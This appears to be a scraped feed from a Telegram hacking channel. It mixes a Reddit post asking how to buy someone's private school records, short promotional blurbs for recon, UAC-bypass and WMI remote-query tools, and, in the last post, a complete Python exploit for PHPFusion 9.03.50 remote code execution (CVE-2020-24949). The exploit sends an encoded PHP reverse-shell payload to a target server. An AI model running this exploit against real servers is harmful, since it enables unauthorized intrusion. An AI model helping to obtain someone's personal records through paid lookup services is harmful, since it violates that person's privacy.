Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.8K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Deep Web
Looking for an Old Friend

I'm currently looking for an old friend of mine but I forget their last name and the school we went to wont release registrar information to me. Would anyone know how I can go about contacting someone who sells a service where they can get me this information?

submitted by /u/crimmson_ghost
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
AnalyticsRelationships - Get Related Domains / Subdomains By Looking At Google Analytics IDs

subdomains by looking at Google Analytics IDs > Python/GO versions > By @JosueEncinar ">> Get related domains / subdomains by looking at Google Analytics IDs> Python/GO versions> By @JosueEncinar This script try to get related domains / subdomains by looking at Google Analytics IDs from a URL. First search for ID of Google Analytics in the webpage and then request to builtwith with the ID. Note: It does not work with all websites.It is searched by the following expressions: -> "www\.googletagmanager\.com/ns\.html\?id=A-Z0-9\-+"-> GTM-A-Z0-9+-> "UA-\d+-\d+" Available versions: Python GO Installation: Installation according to language. Python > git clone https://github.com/Josue87/AnalyticsRelationships.git> cd AnalyticsRelationships/Python> sudo pip3 install -r requirements.txt GO > git clone https://github.com/Josue87/AnalyticsRelationships.git> cd AnalyticsRelationships/GO> go build -ldflags "-s -w" Usage Usage according to language Python > python3 analyticsrelationships.py -u https://www.example.com Or redirect output to a file (banner or information messages are sent to the error output): python3 analyticsrelationships.py -u https://www.example.com > /tmp/example.txt GO > ./analyticsrelationships --url https://www.example.com Or redirect output to a file (banner or information messages are sent to the error output): > ./analyticsrelationships --url https://www.example.com > /tmp/example.txt Examples Python Output redirection to file /tmp/example.txt: Without redirection:GO Without redirection: Working with file redirection works just like in Python. Author This project has been developed by: Josué Encinar García -- @JosueEncinar Disclaimer! This is a PoC. The author is not responsible for any illegitimate use. Download AnalyticsRelationships
Read more...

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
GIF
Kali Linux Tutorials
ByeIntegrity UAC : Bypass UAC By Hijacking A DLL Located In The Native Image Cache

ByeIntegrity UAC is a tool used to bypass user account control (UAC) to gain elevated (Administrator) privileges to run any program at a high integrity level. Requirements Administrator account UAC notification level set to default or lower How It Works ByeIntegrity hijacks a DLL located in the Native Image Cache (NIC). The NIC is used […]

The post ByeIntegrity UAC : Bypass UAC By Hijacking A DLL Located In The Native Image Cache appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
APSoft Web Scanner V2 : Powerful Dork Searcher & Vulnerability Scanner For Windows Platform

APSoft Web Scanner V2 is a tool for Powerful Dork Searcher And Vulnerability Scanner For Windows Platform. Software Pictures What Can I Do With This ? with this software, you will be able to search your dorks in supported search engines and scan grabbed urls to find their vulnerabilities. in addition , you will be able to […]

The post APSoft Web Scanner V2 : Powerful Dork Searcher & Vulnerability Scanner For Windows Platform appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
CIMplant : C# Port Of WMImplant Which Uses Either CIM Or WMI To Query Remote Systems

C# port of WMImplant which uses either CIM or WMI to query remote systems. It can use provided credentials or the current user’s session. Note: Some commands will use PowerShell in combination with WMI, denoted with ** in the --show-commands command. Introduction CIMplant is a C# rewrite and expansion on @christruncer‘s WMImplant. It allows you to gather data about […]

The post CIMplant : C# Port Of WMImplant Which Uses Either CIM Or WMI To Query Remote Systems appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
PHPFusion 9.03.50 Remote Code Execution

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
PHPFusion version 9.03.50 suffers from a remote code execution vulnerability.

MD5 | 7b268932c3f92c2d35fb62cadc94ca0d

Download
# Exploit Title: PHPFusion 9.03.50 - Remote Code Execution
# Date: 20/05/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30&download_id=606
# Version: 9.03.50
# Tested on: Docker + Debian GNU/Linux 8 (jessie)
# CVE : CVE-2020-24949
# Found by: ThienNV

import requests
import base64
import argparse
PAYLOAD = "php -r '$sock=fsockopen(\"127.0.0.1\",4444);exec(\"/bin/sh -i <&4&4 2>&4\");' " # !!spaces are important in order to avoid ==!!
REQUEST_PAYLOAD = "/infusions/downloads/downloads.php?cat_id=$\{{system(base64_decode({})).exit\}}"
parser = argparse.ArgumentParser(description='Send a payload to a Fusion 9.03.50 server with "Allow PHP Execution" enabled.')
parser.add_argument('target', type=str, help='Turn the Allow PHP Execution verification step on or off.')
parser.add_argument("-v", "--no-verify", action="store_false")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
target = args.target
else:
print("[!] Target should start with either http:// or https://")
exit()

# verify payload
PAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode("ascii")
if '+' in PAYLOAD_B64 or '=' in PAYLOAD_B64:
print("[!] Invalid payload, make sure it does not contain a + or a =!")
exit()

# verify vulnerable host
if args.no_verify:
page_data = requests.get(target + "/infusions/downloads/downloads.php?cat_id=${system(ls)}")
if "infusion_db.php" not in page_data.text:
print("[!] Can't seem to find infusion_db.php. QUITTING!")
print("[!] If this validation is wrong just use the --no-verify flag.")
exit()
# send request
requests.get(target + REQUEST_PAYLOAD.format(PAYLOAD_B64))

print("[*] Requests send, did you get what you wanted?")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video